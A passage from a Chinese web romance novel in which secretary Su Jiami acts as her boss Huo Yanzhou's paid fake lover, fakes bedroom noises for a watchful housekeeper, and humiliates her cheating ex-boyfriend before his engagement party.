霍砚舟扫了一眼苏嘉觅葱白笔直又修长的腿,那细白的皮肤上还凝着一层水雾,显得愈发的白皙透亮。 这腿确实勾人! 他垂眸,“你收拾一下,先去我那住。” 霍砚舟铺垫了这么多,竟然又不给她住大平层了,让她去他那住? 苏嘉觅拧着眉没动。 霍砚舟气息渐渐变冷,“具体原因你自己去问黎骋。” 说完,他就拉门出去前又说,“今天算你的情人试用期。” 而后,苏嘉觅从黎骋那得知了原因——出于对她身体健康的考量,进了家具除甲醛后才能入住。 到了霍砚舟的庄园别墅,苏嘉觅才知道什么叫奢华的有品位,极致的有调性。 霍砚舟家里有个佣人沈蓉,他叫她沈阿姨。 他没介绍苏嘉觅,只是脱了西服外套去了书房。 黎骋则和沈阿姨介绍了苏嘉觅。 他轻咳,“苏嘉觅小姐...霍总新交的女朋友。” 沈蓉听此上下打量苏嘉觅,的确是个玉容花貌、仪态万方的美人儿,只是这张脸怎么瞅着像那个人? 她收敛目光,会心一笑,望了一眼苏嘉觅提过来的食材,用品等物。 “苏小姐,以后有你照顾少爷,我也能放心的回江城了。” 苏嘉觅一顿,敢情人家阿姨都看出她这“保姆”属性了。 黎骋是不好意思说她是霍砚舟的情人才给了个“女朋友”的身份,可她与霍砚舟纯纯的利益交换,她能不知道自己的斤两? “沈阿姨,我家里有点事,就借住在霍总这几天。” 苏嘉觅礼貌地解释清楚。 沈蓉面上有些失望,她正要开口说话,就听霍砚舟从书房推门出来,“沈姨,你进来一下。” 黎骋却猜到了他老板的心思。 沈蓉是霍家老人儿,是霍夫人的心腹,指派过来照顾霍砚舟的。 眼下霍砚舟把苏嘉觅领回来,一是要沈蓉封口,不要到霍夫人那胡说,一步到位地把两人说成可以同居的情侣,二是将沈蓉暂时送回江城霍家,免得她看出什么端倪。 苏嘉觅看了眼杵在那等吩咐的黎骋,她尴尬地绕过沙发,坐下等。 不多时,霍砚舟领着沈蓉出来。 他吩咐黎骋,“黎骋,给沈姨订明天回江城的机票。” 果然如黎骋所料,他颔首,“好,沈姨,我明天送你去机场。” 而后,黎骋就走了。 苏嘉觅乖觉地起身,想问沈蓉,她住哪间房,就听霍砚舟冷声,“你愣着做什么?把你东西送我房间去。” 上下三层的别墅,客房五六间,她为什么要跟霍砚舟住一起? 霍砚舟眉眼挑得清冷,他走过去伸手拦住苏嘉觅的肩膀往怀里一带,“乖,别不好意思!” 苏嘉觅斜眼瞪霍砚舟,就见沈容已经笑着低头去了厨房。 她紧绷下颌,“怎么?沈阿姨兼职狗仔队?” “沈姨的第二职业,你看出来了?” 霍砚舟松开苏嘉觅,她不自在地抖抖身体像是被他沾一下都介意。 苏嘉觅隐约觉得霍砚舟似乎不仅需要一个体面的情人应付外边那些蛐蛐他不行的人,他也需要一个得体的女友应付家里人。 而这沈蓉就是“家里人”的心腹。 想到这,苏嘉觅拎着洗漱用品和被子等物跟霍砚舟进了电梯。 电梯内,霍砚舟赞赏地觑了眼苏嘉觅,“苏秘书还挺鸡贼。” 只这一句话,苏嘉觅就知道她猜对了。 “霍总夸人聪明可以用别的词,”苏嘉觅没好气地应付,“比如,机敏,睿智,聪慧。” “呵,苏秘书,聪明绝顶。” 霍砚舟嗤笑一声,出了电梯。 “你秃了,我的长发还在。” 苏嘉觅翻了白眼,小声反驳。 霍砚舟的卧房占了三楼一半,好大。 有衣帽间、洗漱间还有一处多宝阁,上面摆了好多摩托车和跑车的模型,还有一些娃娃一样的玩偶。 霍砚舟进了房间就去了衣帽间换衣服,像是忘了苏嘉觅的存在。 苏嘉觅则将东西放在多宝阁下面的台面上。 她看向那些娃娃,娃娃无一例外的是瓷白的小脸上笑眼弯弯,只是鼻尖上有一颗黑色的圆痣。 苏嘉觅下意识地摸了一下自己的鼻子。 这时,霍砚舟从衣帽间出来,冷声呵斥,“别动。” 苏嘉觅错愕回头,只见霍砚舟穿着家居常服出来,有别之前的十足精英的模样,却多了几分慵懒矜贵的松弛感。 “我只看看,没动。” 苏嘉觅虽嘴巴不饶人,但是人品修养极佳。 她跟闺蜜都有分寸感,更何况与老板? “嗯!你出去吧!” 霍砚舟走过来,拿起一只娃娃摩挲着娃娃的眉眼。 苏嘉觅撇撇嘴,她没想到冷厉不近人情的霍砚舟竟然还有如此柔和的一面。 她拉门出去,却没房间去,只能去了一楼。 从厨房出来的沈蓉看到苏嘉觅,她笑吟吟地说,“苏小姐,可以帮我一下嘛?” 苏嘉觅一怔,随即点头,“好。” 苏嘉觅帮沈蓉洗菜,就听沈蓉问她,“苏小姐会烧菜吗?” “会,应该没有沈姨烧得好。” 苏嘉觅看着沈蓉有些晃神,她总觉得若是她妈妈还活在世界的某个角落,应该与沈蓉年纪相仿。 沈蓉笑着说,“东坡肉,苏小姐会烧吗?” 巧了,苏嘉觅的拿手菜,可她说会,无异于过于表现自己,她又不是霍砚舟的正牌女友,没必要在人家“家人”面前表现自己。 “我不会。” 苏嘉觅笑着耸肩。 沈蓉顿了顿,她则絮絮地说着她烧东坡肉的手法。 吃饭的时候,霍砚舟没说什么,倒是对沈蓉的东坡肉赞不绝口。 苏嘉觅庆幸自己没表现什么,合约外的讨好,她不包服务和售后。 夜里,苏嘉觅在客厅看了会儿电视才磨蹭得回了霍砚舟的卧房。 她进去时,霍砚舟围着浴巾出来。 他一手抄着毛巾擦头发,身后萦绕着朦胧水雾,上身赤裸,未着寸缕,宽肩浑厚,窄腰精瘦,腹肌线条性感而紧致。 过于美好的男性肉体养眼又勾魂儿,再加上霍砚舟那英挺零瑕疵的面容,苏嘉觅垂下眼眸,耳根却发热。 霍砚舟白了一眼苏嘉觅进了衣帽间,再出来换了黑色真丝睡衣。 苏嘉觅站在门口,“霍总,晚上我打地铺,您睡床。” 霍砚舟扫了一眼宽大的双人床,“做完再下去睡。” 第17章 苏秘书,你能无师自通! 苏嘉觅看着霍砚舟给她的视频教学内容,面红耳赤。 霍砚舟看着嘴巴厉害的苏嘉觅看视频的脸红透,他闷笑,“学会怎么叫了吗?” 苏嘉觅垂头丧气,“没有,我不会。” 霍砚舟觉得没有哪个女人学不会,是苏嘉觅不想做。 他拿出蓝牙耳机戴在耳朵上,“苏秘书,想想那张空白支票,你定能无师自通。” 话音落,霍砚舟不再理会苏嘉觅,他倚着床头带着耳机开始听音乐看书。 苏嘉觅捧着脑袋,挠了挠,她伸手在霍砚舟眼前晃了晃,霍砚舟没反应,她索性大着胆子将他耳机拿了下来。 “霍总,你怎么断定沈姨一定会来听墙角?” 看着迟迟不想行动的苏嘉觅,霍砚舟面无表情地将耳机拿了回来。 “因为了解她,更了解我母亲。” 苏嘉觅神色难看。 她觉得也挺难为霍夫人的。 外表条件如此优秀的儿子那不行,香火不继,人家当妈的能不着急吗? 况且,霍砚舟找她过来就是当假情人,维系他男人雄风的体面的,自然也要让他的家人心安。 想到这,苏嘉觅看着门,生无可恋地喊了一声,“哎呀!” 霍砚舟微微偏过头,不着痕迹地笑了笑。 发音中一声的“哎”和一声的“呀”组合在一起,莫名好笑。 苏嘉觅盘腿坐在床上,她回身看了一眼霍砚舟,见男人面沉如水,毫无表情地看着书,她稍稍放心。 她听到门口有细小的拖鞋趿拉声,她才捏着嗓子学着视频里的声音发出一声旖旎的呻吟。 看书的霍砚舟眉心微微一蹙,他拿过枕边的手机,调大了音乐的音量。 他抬眸看向穿着条纹睡衣,扎着丸子头的苏嘉觅。 她的背影纤美,可她的耳垂却像红透了的樱桃。 苏嘉觅扫了一眼“DP”老师给出的优质男士的情事时长,保质保量地完成了叫床服务。 霍砚舟见苏嘉觅红着一张脸起身下床,将她买的被子扑在他双人大床及床凳下的地毯上,一半压在身下,一半盖在身上。 而苏嘉觅抬眼看向那柔和的灯,心中却有些悲凉。 谁能想到她有一天会靠这来赚钱,来保护自己呢? 在霍砚舟看来,苏嘉觅确实是最佳人选,不仅因为她贪财,还因为她很有分寸,不会对他有任何非分之想。 他喜欢跟拎得清自己的女人合作,没负担且愉快。 霍砚舟摘下耳机,起身,他打开浴室的花洒放了十几分钟的水才关灯入睡。 黑暗中,苏嘉觅嗤笑,心想霍砚舟还是个细节控——事后双人浴都安排上了。 怪不得这种人能成商界阎罗,活该人家有钱又成功。 吃了感冒药的苏嘉觅犯困,很快就睡着了,没再关注躺床上睡的男人。 翌日,苏嘉觅醒了时候,霍砚舟人已经不在房间内了。 她洗漱下楼与从健身室出来的霍砚舟碰到了。 男人要下楼吃早餐,他扫了一眼苏嘉觅,“昨晚表现不错。” 苏嘉觅暗戳戳翻了个白眼,“谢谢霍总肯定,我会再接再厉的。” 再接再厉? 霍砚舟没绷住,勾唇笑了。 她的再接再厉是不是要把嗓子喊哑了? 吃过饭后,霍砚舟上楼洗漱前,叮嘱了沈容几句,而后黎骋来接沈蓉。 沈蓉则拉着苏嘉觅的手,笑容比昨天初见还要浓重。 “苏小姐,少爷就拜托你了。” 苏嘉觅赶紧点头。 沈蓉一走,她就可以住客房也不用叫床了,两全其美。 二人走后,霍砚舟西装笔挺下来,要去公司。 苏嘉觅跟着霍砚舟来了他别墅内的私人停车场。 他站在宾利飞驰面前,看向苏嘉觅,“我不给你当司机,你也不能坐副驾。” 苏嘉觅坐后排,那就是把霍砚舟当司机,至于副驾驶是正宫位,她这个假情人更不配。 而这明显是霍砚舟在考验她! 苏嘉觅颔首,“霍总要是想避嫌,我就打车去公司,您要是想拉满暧昧和逼格,我会开车,我来给您做司机。” 霍砚舟怔忪片刻,将车钥匙递给了苏嘉觅。 苏嘉觅接过钥匙,上了驾驶位。 她本着假情人,真秘书,外加贴身保姆和“老”司机的觉悟成功得到了霍砚舟的认可。 车上,霍砚舟觑了几眼苏嘉觅。 “苏秘书,我对你很满意。黎骋回来,你去找他签约。” 拿下随心所欲能填2个亿空白支票的大单,苏嘉觅心情格外愉悦。 她没再说什么,只是嘴角漾着笑。 又一天工作下来,苏嘉觅彻底适应了公司的节奏。 晚上下班,霍砚舟有应酬,他带黎骋去。 苏嘉觅现在没车,打车回霍砚舟那可能会碰到陆北在公司门口盯着她的人。 霍砚舟见过来给他送明日行程和工作计划的苏嘉觅有些心神不宁,他沉声道,“陆北派来的人,我已经清走了。” 苏嘉觅先是高兴,而后脸又有几分难看。 “前天晚上就清走了?” 霍砚舟仰靠在沙发椅上,看向苏嘉觅,“嗯,别以为我耍你,那是考验。” 让她在公司对付一宿,让绯闻发酵,让她认清自己的处境,让她更愿意接受做他霍砚舟假情人的合作。 霍砚舟果然是下棋高手,轻松拿捏每一颗棋子。 “霍总真高明!” 苏嘉觅微微点头,笑得和暖。 霍砚舟没心思理会苏嘉觅的想法,他合上文件,“晚上,你自己小心。” 在公司盯梢的人被清走了,那她完全可以打车回去。 苏嘉觅,“我知道了。” 霍砚舟又提醒苏嘉觅,“尽快跟陆北签转股协议,把事了了。” 苏嘉觅,“好。” 霍砚舟与黎骋走后,苏嘉觅拿出合约情人的协议看了又看,条款不算苛刻,却要严格保密。 苏嘉觅独自打车回了霍砚舟的住所,她很自觉地将东西搬去了二楼的客卧。 而后她打了一个电话给许瑶,将这两天发生的事情分享给许瑶。 许瑶听得下巴都掉下来了,“做霍砚舟一年假情人,能获得两亿以内的报酬?” “什么叫两亿以内呀?小于等于两亿,那我必须让支票等额两亿。” 苏嘉觅舔了一下嘴唇,“等我赚到这笔钱,我就去找我妈。” 许瑶心头酸涩。 她叹了口气,“觅觅,我妈昨天给我打电话,说是冷媛母亲说陆北与冷媛,月底要订婚了。” 苏嘉觅听此已经没什么感觉了,“那时候,我应该已经拿回我的钱了。” 曾经答应陪她到老,时间和经济条件都允许后就陪着她去找母亲的男人要娶别人了,她竟然没有歇斯底里也没有痛不欲生,因为她放下了他,也放过了自己。 苏嘉觅劝许瑶,“瑶瑶,我真的没事儿了。做一个有钱的单身富婆,我更快乐。” 被逗笑的许瑶这才放心地挂了电话。 夜里,睡得迷迷糊糊的苏嘉觅听到霍砚舟的拍门声。 “苏秘书,开门!” 第18章 初吻都“磕”没了 别墅的客房就这间的房门反锁了,霍砚舟精准无误地找到苏嘉觅住处。 苏嘉觅对霍砚舟还不够了解,但他这种站在塔尖的人物应该不会来酒后乱性那一套,但她还是警惕地倚着门问他。 “霍总,我已经睡了,你有什么事吗?” 霍砚舟扯松了领带,“会熬醒酒汤吗?” 苏嘉觅一顿,“会,你先回去躺着,我去给你熬。” 门外的脚步声渐远,苏嘉觅才开门出去。 她拿起手腕上的皮筋挽了挽头发扎了个丸子下楼去了厨房。 客厅黑暗中,霍砚舟看着苏嘉觅去了厨房,她在里面翻箱倒柜地找食材,找齐后才动手煮汤。 凌晨两点多,她实在困倦,就倚着厨房门口的墙壁,背对着霍砚舟盯着火候。 醒酒汤煮好,苏嘉觅端着汤准备上楼,就听霍砚舟冷厉磁性的声音从沙发处传了过来,“端到这来。” 这着实吓了苏嘉觅一跳,她手一抖,整碗的醒酒汤摔到了地上,瓷碗四散开裂,灼热的汤汁溅到了她穿着拖鞋的脚背上。 听到动静,霍砚舟无奈,“这点小事都做不好!” 他摇摇晃晃地起身打开了所有的灯,就见苏嘉觅狼狈地检查她被烫红的脚。 霍砚舟冷凛的眸光柔和了许多。 他走过去,“烫到了?” 苏嘉觅站起身,“小伤,我去冲一下。” 她去了一楼的洗漱间,用花洒头开冷水冲洗。 霍砚舟坐回沙发上,他揉按着眉心缓解头疼的不适,而后起身找出了沈蓉准备的药箱,药箱里有烫伤药膏。 他将其放在茶几上,人就回了房间。 从洗漱间出来,苏嘉觅清理了碎瓷片与地板的水渍,她转身就看到了茶几上的药箱上摆着烫伤膏。 她过去拧开药膏,涂抹。 “啧,酒罐子里泡过的大冰块还知道给我找药膏?” 苏嘉觅觉得霍砚舟的不近人情下有时候也能窜出一丁点儿人情味。 锅里还有一碗醒酒汤,她倒出来端给了霍砚舟,也算投桃报李,谁让人家是“金主”呢? 苏嘉觅敲门,“霍总,醒酒汤还有,你喝吗?” 霍砚舟酒量不差,可真喝多了,他会头疼欲裂,而今天这顿酒他喝得压抑,自然头疼得厉害。 他缓声,“进来。” 苏嘉觅将醒酒汤端到了床头,“温度刚好,霍总慢用。” 东西送到了,苏嘉觅转身欲走,却被霍砚舟扯住了手腕。 “霍总,你干嘛?” 苏嘉觅警惕地看着霍砚舟。 他面色潮红,酒气很重,往日梳上去的刘海落拓地垂着,眼神有些呆滞,她嘟囔,“你要是想酒后乱性,我现在就报警。” “你想的还挺多。” 霍砚舟沉闷地阖上眼,两手支着床铺,“给我按摩,工钱现付。” 苏嘉觅困倦得很,没忍住打了个哈欠,“霍总,太晚了,这钱不想赚。” 说完,苏嘉觅还要走。 就听霍砚舟又说,“我给你五万块。” 按个头就给五万块? 苏嘉觅看在钱的面子上觉得忍忍困意。 她笑了笑,“霍总这么诚心,这钱,我还得赚。” 苏嘉觅脱了鞋上床,跪在霍砚舟身后,两只柔若无骨的手按住了霍砚舟的太阳穴,她温热带着玫瑰味的气息萦绕在霍砚舟的鼻腔,他忽而觉得很惬意,头疼也得到了缓解。 苏嘉觅则觉得霍砚舟真是帅到的360度无死角,她俯视他的角度,都觉他的眉骨和鼻梁好看,他是那种典型骨像优越的男人。 按了二十分钟,苏嘉觅感受到了霍砚舟很舒服,气场都松弛到了柔和。 她手酸得不行,“霍总,可以了吗?” “我的钱不是大风刮来的,”霍砚舟没什么语气,“我还没到,你继续。” 没到? 苏嘉觅一下子想起昨晚的教学视频中的女人说的话,她耳根发烫,“我手酸了,等会再按?” 霍砚舟确实觉得很舒服,可夜深了。 “算了,你回去吧!” 他摇摇晃晃地起身准备脱衣服,一整个的醉酒状态。 苏嘉觅怕明天一早要钱,霍砚舟早忘干净了。 “霍总,要不你把钱先结给我?我再多给您按十分钟。” 霍砚舟回身扫了眼一脸鸡贼的苏嘉觅,他勾勾唇角,捞过扔在床上的手机给苏嘉觅微信转账。 一次性可转2万元,霍砚舟刚转一笔。 苏嘉觅就从睡衣口袋里拿出了手机点开微信收款。 霍砚舟不是没见过贪财的女人,可像苏嘉觅这么有原则地见钱眼开还头次见,他觉得新鲜,又抬眸看苏嘉觅收钱。 目光落在苏嘉觅给他的备注名上,他目光微沉,透出几分冷凛,“苏嘉觅,把你手机给我。” 苏嘉觅猛地抬头,看到灯光下霍砚舟阴鸷冷傲的面容。 她捂着手机,“霍总,你好端端看人家手机做什么,多不礼貌啊!” 霍砚舟上手抢,语气讥诮,“给我备注霍老六,你很礼貌?” 他探身过来抢手机,苏嘉觅往后躲。 两人,一个因醉酒重心不稳,前倾;一个因为跪在那二十多分钟腿麻,后仰,两具身体瞬间有了接触。 失重的霍砚舟将苏嘉觅压在了身下,嘴唇相碰,是唇瓣柔软的接触。 四目相对,暧昧升级。 苏嘉觅直觉她心跳都变快了,她的初吻被霍砚舟给“磕”没了! 霍砚舟怔忪片刻则紧绷下颌,迅速起身,还顺势从她手里拿走了手机。 他抿着嘴唇气闷,亲自动手改回了他的微信名——霍砚舟。 霍砚舟冷声,“苏秘书,鉴于你的愚蠢表现,剩下的三万,我收回。” “一个备注名而已,这么值钱吗?” 苏嘉觅觉得委屈,她起身下床,“霍总,你...” “我是奸商,怎样?” 霍砚舟将苏嘉觅的手机扔给她,“出去。” 苏嘉觅光着脚拿着手机走了,倒是霍砚舟气得头疼,他知道苏嘉觅是有脑子又不服管的性子,可他没想到她还敢编排他。 霍砚舟喝了醒酒汤,味道着实不错。 他扫了一眼苏嘉觅遗留下拖鞋上的水渍,想到她还被烫了脚,他又给苏嘉觅转了10000元钱。 “买猪蹄吃,以形补形。” 霍砚舟发了一句话,他看到没节操的苏嘉觅秒收,而且还谢谢他。 他勾勾唇。 忽而,霍砚舟觉得自己很无聊,他想撤回留言却撤不回了。 第二日清晨,苏嘉觅起床准备上班,霍砚舟却准了她两天假。 苏嘉觅高兴得不得了,掀开被子准备继续睡,想到她手头还有一个企划案要拿给霍砚舟签,就打电话给黎骋。 黎骋接通电话却满不在乎。 “苏秘书,方案回去再签,我和霍总要飞港城,挂了。” 贵宾候机室内,霍砚舟翻着港城那边的供给人信息,心中隐隐有了期待。 “霍总,若是这次成了,是不是您就不用让苏小姐陪着您演戏了?” 黎骋的话像是触动了霍砚舟的逆鳞。 “你又教我做事?” 第19章 霍砚舟:我不在,你就这么被欺负? 霍砚舟不在家的这两天,苏嘉觅过得很惬意。 她刷刷剧,玩玩手机,点好吃的犒劳自己。 可是直到两天假已过,苏嘉觅上班,霍砚舟人也没回来。 周五下午,苏嘉觅去许瑶那打个转,拎着好闺蜜给她准备行李箱等物佯装成从海城回来的模样,打车回了公寓。 陆北竟等在公寓门口。 看到推着行李箱,背着双肩包的苏嘉觅,他神情难得的松弛。 苏嘉觅没说谎,那给霍砚舟公司漏洞方案的人就不是她。 他笑笑,“回来了?” 苏嘉觅点头,“你找我有什么事,就站门口说吧!” 陆北抿了下嘴唇,他语重心长地说,“我们明天过纪念日好不好?周日,我要出差。” 出差是假,是这个周日应该撞期了陆北和冷媛的重要事情。 苏嘉觅颔首,“好,明天见。” 陆北怔然,他没想到苏嘉觅的语气竟然如此冷淡,她好像真的一点都不在意他了一般,像是答应一件无关紧要的事情。 苏嘉觅握紧了行李箱的手柄,她垂眸问,“还有别的事吗?我刚回来,想早点休息。” 陆北心里堵得慌。 一个曾经满心满眼都是他的人,竟然在刚刚分手后,就表现出超乎寻常的冷淡与平静。 陆北扯过苏嘉觅的手腕,“苏嘉觅,你是不是早就不喜欢我了?” “陆北,我们都分手了,你还要求我喜欢你?” 苏嘉觅勾唇,“你不觉得自己说这话很可笑吗?” 她白了陆北一眼,拿钥匙开门,拖着行李箱进了门。 关门声才让陆北从无所适从中抽离出来。 他觉得自己不可理喻,他又何必在意苏嘉觅的想法呢? 陆北是一个一直都知道自己想要什么的人,他想要得到权势,资本的扶持。 在与冷媛相识后,从他主动追求冷媛时起,他就已经放弃了苏嘉觅,此刻他不应纠结。 下周二,他要与冷媛订婚,周日和周一,他很忙,他没时间与苏嘉觅回忆过去。 苏嘉觅透过门镜看到陆北走了以后,她松了一口气。 看来整件事,她处理得还不错,陆北没看出端倪。 第二天,苏嘉觅换上了绿色纱织修身连衣裙,白色的高跟鞋,搭配相同颜色的耳饰,拿着比身上裙子颜色稍微深一点的绿色手包。 她画了精致的淡妆,撒着披肩长直卷发,看上去女人味十足。 其实苏嘉觅只是想隐约地表达自己知道被绿了,待到陆北反过味来,她再羞辱他眼瞎。 她已经给他过暗示了,算是手下留情了,是他自己没看出来。 到了约定的地点,陆北看着逆光走近的苏嘉觅一阵儿晃神,他再次直观地感受到了她的美。 他心中的想法有些绮丽。 苏嘉觅坐下后,没说话,只是点了之前两人常来吃的那几道菜。 “要不去lover西餐厅?” 陆北觉得这家川菜馆的氛围不及西餐厅的氛围好,若是喝了酒,吃了甜点,苏嘉觅或许会更愿意顺从他。 “好久没吃这家的菜了,不换了,”苏嘉觅抬眸剔向陆北,“散伙饭在哪吃都一样。” 陆北心头一沉,他捏着水杯喝水,没再说话。 上菜的间隙,陆北拿出转股协议给苏嘉觅签,她接过后,落笔签字,又加盖了自己私章。 陆北心里的大石尽数落下。 他笑着说,“觅觅,谢谢你。” “以后你还是叫我苏小姐吧,”苏嘉觅勾唇将她那份协议放进包里,“我怕你女友..不对,未来女友吃我醋。” 陆北喝水差点呛到,“你没必要这么恨我,我是为了你好。” 苏嘉觅淡淡一笑,“是吗?” 陆北内心又雀跃了,因为苏嘉觅今日的表现与昨天见他不同,她心里对他还是不舍的,只是佯装坚强罢了。 辛辣的川菜上来,苏嘉觅却迟迟不动筷。 陆北不解,“你怎么不吃?” “我不喜欢吃川菜,太辣了,”苏嘉觅看向陆北,一字一顿地说,“是因为你喜欢,我才佯装喜欢。” 苏嘉觅捏着筷子拨弄着水煮鱼里的辣椒段和麻椒,用筷子尖将其挑出来。 “现在,我装不下去了。” 陆北喉头哽住,他眼眶泛红,“我也舍不得你,我是没办法。” 苏嘉觅又给自己倒了一杯茶,将又挑出来的辣椒和麻椒放进了茶杯里,看似无意地搅弄着。 见此,陆北压低了声音,“觅觅,我们一会儿去开房吧,现在都流行分手...炮。我们也试试?” 苏嘉觅撩起眼睑,定定地看着陆北,潋滟一笑。 她握着杯子,扬手将杯子里加料的水泼在了陆北的脸上。 “分手炮?你也配!” 话音落,苏嘉觅起身走了。 被浇了一身油和茶水的陆北很有几分气急败坏。 “苏嘉觅,离开我,你什么都不是,你听没听到?” 陆北站起身冲苏嘉觅喊。 苏嘉觅站在街的对面,冲陆北竖了个中指,人就潇洒地走了。 餐厅里的其他客人看着狼狈的陆北都忍不住偷笑。 陆北正气闷,冷媛的电话打了过来。 “阿北,你快到永福街来,我在这等你。” 冷媛没头没尾的一句话,让陆北有些不耐烦,可他距离成为冷家女婿就差临门一脚了,他得哄着她。 陆北去附近买了新衣服换上才去找冷媛。 苏嘉觅漫无目的地闲逛,因口渴选了一家临街的咖啡店进去点了咖啡和一份甜点,坐在那刷手机。 不经意地抬眸,她就看到陆北揽着冷媛也接受了《时空胶囊》的采访,两人浓情蜜意的模样。 苏嘉觅眼中的情绪隐了下去,继续看手机。 周一再上班,霍砚舟和黎骋还没有到公司来。 苏嘉觅一如既往的清闲。 只是从茶水间回来,她遇到了来找霍砚舟的郝莉莉。 郝莉莉瞪了苏嘉觅一眼。 “苏秘书,你不会以为霍砚舟是真的喜欢你吧?我认识他这么久,就没看他对哪个女人上心过。” 苏嘉觅喝了一口手中的奶咖,“郝总监,我对霍总上心就行了。毕竟,日久见真情,万一时间久了,他就喜欢我了呢?” 郝莉莉气闷,“你不过是他打发时间的玩意儿罢了,你还真当自己是未来的霍太太呀?” “当玩物的前提是要让男人想玩,我总好过那些想被玩,却让人提不起兴趣的女人吧?” 苏嘉觅言笑晏晏,礼貌异常。 被内涵的郝莉莉伸手过来打她。 苏嘉觅正要躲,她也没看清霍砚舟是怎么过来的,他的大手已经钳制住郝莉莉的手腕。 “跟我的女人动手?” 苏嘉觅惊诧之余,没想到霍砚舟竟然这么维护她。 郝莉莉是公司财务总监,霍砚舟不可能真开除她,只是他做样子给别人看的时候,也挺动人的。 苏嘉觅垂眸不语,暗叹霍砚舟演技到位。 就听霍砚舟冷声道,“郝莉莉,你被开除了。” 苏嘉觅猛然抬头。 霍砚舟走了过来将她拥进怀里。 他抵着她耳根,柔声呢喃,“我不在,你就这么让人欺负?” 第20章 霍砚舟说她得恃宠而骄 霍砚舟低低的开口,嗓音优雅低沉,撩人又让人心悸。 苏嘉觅听得身上起了一层鸡皮,她不自在地扭动身子想从霍砚舟的怀里挣脱出来,可身体隔着夏日轻薄衣料的摩擦,让霍砚舟有些起兴。 他轻咳一声,松开了苏嘉觅。 霍砚舟拉着苏嘉觅的手回办公室,黎骋则让人将大呼小叫的郝莉莉清出了董事办的楼层。 办公室内,霍砚舟解开了西服的纽扣,脱下西装外套扔在了沙发上。 他人大喇喇地坐下,拿过茶几上的烟点燃,叼在嘴里轻吸了一口,“苏秘书,你伶牙俐齿那股劲儿呢?” 苏嘉觅面上一哂,心想霍砚舟的言下之意就是那股劲儿都用来怼他了。 她勾勾唇角,“郝总监毕竟跟霍总共事这么多年,我刚来,我...” “可你是我女人,不是吗?” 霍砚舟抬手打断了苏嘉觅的话,他交叠双腿语气恣意,“所以在感情上,你要有恃无恐一些。” 说白了,霍砚舟嫌弃她演技不好。 她是霍砚舟的情人,情人就是玩物儿,要恃宠而骄更要仗着男人的偏爱有恃无恐。 “我知道了,霍总。” 苏嘉觅虚心领教的样子有些好笑,像个知错就改的小猫,软又糯。 “过来!” 霍砚舟招手让苏嘉觅过去。 她走进,霍砚舟捞过她的手放在头上,“给我按按。” “哦,”苏嘉觅低声问,“给钱吗?” 看着财迷心窍的苏嘉觅,霍砚舟被气笑了。 “我看起来像冤大头吗?” 既然她是霍砚舟的“情人”又是人家的秘书,他要求帮忙按按头,也不算什么,若是他执意把这一点写进合约里,成为两人相处的规定动作,那苏嘉觅才是一点脾气没有。 想到这,苏嘉觅狡黠一笑,“不像冤大头,像我金主。” 被奉为金主的霍砚舟对这句话很满意,更满意于苏嘉觅力度适中的按摩手法,他拿着手机真给苏嘉觅转了2万块钱。 苏嘉觅见此,心花怒放。 她觉得呆在霍砚舟身边的每一天都是“赚钱”的一天。 “霍总,你这次出差,难道不顺利?” 苏嘉觅看着没喝酒却头疼的霍砚舟,她理所当然地认为是生意上出了事,不顺当。 霍砚舟眉心微微蹙起,他抬眸看向苏嘉觅时眼神像是淬了一层寒冰,冻结了之前所有的愉快。 收到霍砚舟冰冷凝霜的眼神,苏嘉觅有些错愕,好像他霍砚舟的不顺当是她造成的一样。 霍砚舟伸手推开苏嘉觅的手,“好了,缓一下!” 这时,黎骋敲门进来,先是汇报了辞退郝莉莉的事情,再有就是送来一份请柬。 他递请柬时看了一眼苏嘉觅才说,“陆北和冷媛明天举行订婚宴,这是请柬。” 霍砚舟接过请柬,没打开,只扫了一眼就扔在了桌上。 陆北自认攀上了冷家,可冷家在霍砚舟眼里不过尔尔,不值一提。 霍砚舟微抬下颌问苏嘉觅,“你想去吗?” 苏嘉觅惊诧,“我?” 霍砚舟勾唇,仰靠在沙发上,“我陪你去,杀他个措手不及?” 以苏嘉觅的机敏劲儿,他不在的这几天,她一定已经与陆北签了转股协议。 毕竟,她之前只想借他的房子住一周。 所以,他的这个提议,苏嘉觅一定感兴趣。 苏嘉觅颔首,“我想去。” 霍砚舟吩咐黎骋,“去给苏秘书准备珠宝、礼服还有造型师。” 偶像剧里的霸总宠妻环节——准备礼服,挑珠宝首饰,出席宴会,这样的名场面,竟然会落到她苏嘉觅身上? 她和陆北是从无到有的创业,就算是成功了,几千万的公司跟人家商界名流比还差得远,别说她,就是陆北也没机会参加这样的宴会。 苏嘉觅嘴角噙笑,“谢谢霍总。” 霍砚舟对她的上道似乎很满意,“打扮漂亮点,别替我省钱。” 黎骋领着苏嘉觅出去后,霍砚舟疲倦地仰靠在沙发上消散连日来的奔波与失落,到底又是一场无用功。 夜里,下班的苏嘉觅没有与霍砚舟一道回他的住所。 霍砚舟在车了等了片刻。 他有些不耐烦,“苏嘉觅呢?” “我问问!” 黎骋打电话给苏嘉觅,却被告知人家早就回家了。 霍砚舟听到这个结果很不高兴,寒霜般的脸让黎铮后背汗毛都立起来了,他忙找补,“苏秘书在您那估计住着不方便,她...” “那你就要想办法,”霍砚舟挑眉,“让她明白,我是她最好的依仗。” 他理了一下衬衫领口,“我的住所是她最安全的所在。” 黎骋频频点头,他算是看明白了—— 他的大boss霍砚舟现在很着急,恨不得立马就能获得苏嘉觅的青睐与依恋,尤其是这次去港城的无功而返,愈发促使他急切地想与苏嘉觅建立关系。 另一边,苏嘉觅将自己要去冷媛和陆北订婚宴的事情告诉了许瑶。 刚谈完生意回来的许瑶踢掉了高跟鞋,人四仰八叉地仰躺在贵妃椅上 “真的?霍砚舟陪你去?” 她坐起来,“我爸妈接了请帖,我本不打算去的,听你这么一说,我打算去观战了。” “霍砚舟领我去招摇一番为的是他男人的面子,”苏嘉觅看了看她下班回来新做的美甲,“想要气死陆北和冷媛,还得我自己来。” “觅觅,你对你的狗老板了解得很深刻嘛!” 许瑶觉得苏嘉觅这么精明,在霍砚舟身边也不会吃亏的。 苏嘉觅,“人家是操纵商界的神,我就一屁民,谈什么深刻了解?” 两人又贫了一会儿才挂断电话。 第二日傍晚,苏嘉觅穿戴好去找霍砚舟。 黎骋抬眸望向拎着裙摆走进过来的苏嘉觅,他心跳都加快了。 他知道苏嘉觅长得美,可看到精心打扮的苏嘉觅,他觉得说是天仙下凡也不为过。 “我准备好,可以走了!” 苏嘉觅看向霍砚舟办公室紧紧关闭的门。 黎骋偏过头轻声咳了两声,“霍总有个重要事视频会议,恐怕不能跟你去了。” 苏嘉觅顿了顿,“视频?” “呃,是视频。” 黎骋看了眼办公室的门。 